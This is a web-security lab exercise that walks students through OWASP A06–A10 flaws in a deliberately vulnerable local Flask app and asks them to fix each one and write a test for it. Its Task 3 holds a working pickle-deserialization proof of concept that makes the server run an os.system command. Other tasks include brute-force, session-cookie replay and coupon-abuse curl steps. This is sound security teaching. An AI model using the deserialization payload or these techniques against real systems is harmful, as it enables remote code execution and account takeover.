Web Hacking – Exercise 06

OWASP Top 10:2025 A06–A10:
Design, Identity, Integrity, Visibility, Robustness

Duration	90 minutes
Organisation	Teams of two
Tools	Python 3.12 or Docker, an editor, `curl`
Material	Folder `app/` (source code, test skeleton)

Learning Objectives

At the end of this exercise you are able to:

- recognise one representative weakness from each of the last five OWASP categories and explain why each belongs to *design*, *identity*, *integrity*, *visibility* or *robustness*;
- **abuse business logic** that is technically correct but insecure by design (A06);
- **exploit** missing authentication defences (A07), insecure deserialization (A08) and a fail-open check (A10), and **notice** what is missing from the logs (A09);
- **fix** each with the matching principle: design the control in, rate-limit and invalidate sessions, verify integrity / avoid native deserialization, log security events, and **fail closed**;
- **prevent regressions** with one automated test per category.

Rules of engagement. QuickWallet is a training application with one intentional weakness per category A06–A10. Run it **on your own machine only**, bound to `127.0.0.1`. The deserialization task can execute code; keep the payload harmless (create a file in a temporary directory) and run it only against your local instance. Never test any system you are not explicitly authorised to test (Swiss Criminal Code, art. 143^{bis}).

1 Setup (before the lesson, 5 minutes)

Option A – Python virtual environment

```
cd app
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
flask --app app:create_app run          # http://127.0.0.1:5000
pytest -v                               # runs the test skeleton
```

Option B – Docker

```
cd app
docker build -t quickwallet .
docker run --rm -p 127.0.0.1:5000:5000 quickwallet
```

The SQLite database is re-created at every start. There is no front end: drive the API with `curl` or `requests`.

macOS: port 5000 is often taken by the *AirPlay Receiver* (it answers `403` to every request, which is easy to mistake for the application). Either switch it off (System Settings → General → AirDrop & Handoff) or use another port, e.g. `flask ... run --port 5001` / `-p 127.0.0.1:5001:5000`, and adapt the URLs below.

2 Scenario

QuickWallet is a tiny store wallet: users log in, redeem coupons for credit, import their preferences, and an administrator can see global stats. It "works", and the code compiles cleanly – but each part has a different kind of flaw. Your team is asked to go through the application **one OWASP category at a time** (A06 to A10), prove each problem, and fix it.

Test Accounts

User	Password	Role	Balance
`alice`	`alice123`	customer	20
`bob`	`bob123`	customer	20
`dave`	`dave123`	admin	0

API Overview

Method	Path	Description
POST	`/api/login`	Log in
POST	`/api/logout`	Log out
GET	`/api/me`	Current user and balance
POST	`/api/redeem`	Redeem a coupon code for credit
POST	`/api/import-prefs`	Import a preferences blob
GET	`/api/admin/stats`	Global statistics (admin only)

Coupons: `WELCOME10` (+10), `SUMMER5` (+5).

3 Tasks

Task 1 – A06 Insecure Design: Coupon Abuse (15 min)

Log in as `alice` (balance 20) and redeem a coupon:

```
curl -c jar -X POST http://127.0.0.1:5000/api/login \
     -H 'Content-Type: application/json' -d '{"username":"alice","password":"alice123"}'
curl -b jar -X POST http://127.0.0.1:5000/api/redeem \
     -H 'Content-Type: application/json' -d '{"code":"WELCOME10"}'
```

(a) Redeem the *same* coupon several times. What happens to the balance?

(b) There is no code *bug* here – the endpoint does exactly what it was written to do. Why is this nonetheless a vulnerability? Which *design* element is missing (recall the cinema-seat example)?

(c) What would the correct design record, and where?

Task 2 – A07 Authentication Failures (15 min)

(a) Send many wrong passwords for `alice` in a row. Does the application ever slow you down or lock the account? What attack does this enable (recall credential stuffing)?

(b) Log in, **save a copy** of your session cookie (`cp jar jar.saved`), call `/api/logout`, then call `/api/me` with the saved copy (`-b jar.saved`) – as an attacker who stole the cookie earlier would. Are you still logged in? Flask stores the session *in* the signed cookie: what does that mean for logout, and what must the server keep so that logout really ends the session?

Task 3 – A08 Integrity: Insecure Deserialization (15 min)

Look at `/api/import-prefs`. It accepts a base64-encoded, **pickled** object. Build a **harmless** proof of concept (it only creates an empty file) and send it to *your local instance*, logged in with the cookie jar of Task 1:

```
python3 - <<'PY'
import base64, os, pickle
# __reduce__ tells pickle how to rebuild the object: "call os.system(...)"
Exploit = type("Exploit", (), {"__reduce__":
    lambda self: (os.system, ("touch /tmp/quickwallet_poc",))})
open("payload.b64", "wb").write(base64.b64encode(pickle.dumps(Exploit())))
PY
curl -b jar -X POST http://127.0.0.1:5000/api/import-prefs \
     --data-binary @payload.b64
ls -l /tmp/quickwallet_poc        # exists -> the server ran your command
```

(With Docker, the file is created *inside* the container: `docker exec <container> ls -l /tmp/quickwallet_poc`.)

(a) Why does merely *loading* the blob run your code? What is `__reduce__` doing?

(b) What should the import use instead, and what must be checked after parsing?

Task 4 – A10 Exceptional Conditions: Fail-Open Check (10 min)

Call the admin endpoint *without logging in*:

```
curl http://127.0.0.1:5000/api/admin/stats
```

(a) You are anonymous, yet you get the data. Read `is_admin` in `app.py`. What happens when it is called with `None`, and what does the `except` branch decide?

(b) State the one-word principle this violates, and rewrite the check so that *any* error denies access.

Task 5 – A09 Logging & Alerting (5 min)

Trigger a failed login, a coupon-reuse attempt and the anonymous admin request. Look at the server's console output.

(a) The development server prints an *access log* line per request. For each of the three events, what does that line tell you – and what is missing (who, which account, why it is suspicious)? How does the anonymous admin access look compared with a legitimate one?

(b) If this were production and an attacker did all three, would anyone *see* it? What would you log, and what would you *not* put in the logs?

Task 6 – Fix Everything and Test It (25 min)

Fix all five findings in the server code:

- **A06**: make each coupon redeemable **once per user** – record redemptions and refuse repeats.
- **A07**: rate-limit / lock the account after a few failed logins; make `logout` clear the server-side session.
- **A08**: import preferences as **JSON**, never `pickle`; validate the parsed structure.
- **A09**: log failed logins, coupon-reuse attempts and denied admin access (without logging secrets).
- **A10**: make `is_admin` **fail closed** – no user or any error means "not admin".

Then write one test per category in `app/tests/test_top10.py` (a skeleton and the fixtures `client` and `alice` are provided; use the `caplog` fixture for A09). Your suite must fail on the original code and pass on your fixed code.

4 Wrap-up and Self-Check

This exercise is **not graded** and there is **nothing to hand in**. Keep your notes, exploits, fixes and tests to prepare the exam. Before the debriefing:

- **A06:** is the limit part of the *design* (a recorded fact), not a cosmetic check that can be bypassed by calling the API directly?
- **A07:** are both facets fixed – automated-guessing defence *and* server-side logout?
- **A08:** did you remove native deserialization entirely, not just "filter" the input?
- **A10:** does *every* path through the check deny on error?
- **Reflection:** which real-world case (the cinema/seat abuse, hybrid credential stuffing, insecure deserialization, breaches undetected for years, a check that failed open…) matches each finding, and which single measure would have prevented it? We discuss this together at the end.

References

- Slides of chapter 06 (A06–A10)
- OWASP Top 10:2025 overview `https://top10.owasp.org/2025/`
- OWASP Cheat Sheets – Deserialization, Authentication, Session Management, Logging, Error Handling
  `https://cheatsheetseries.owasp.org/`
- NIST SP 800-63b (authentication and session management)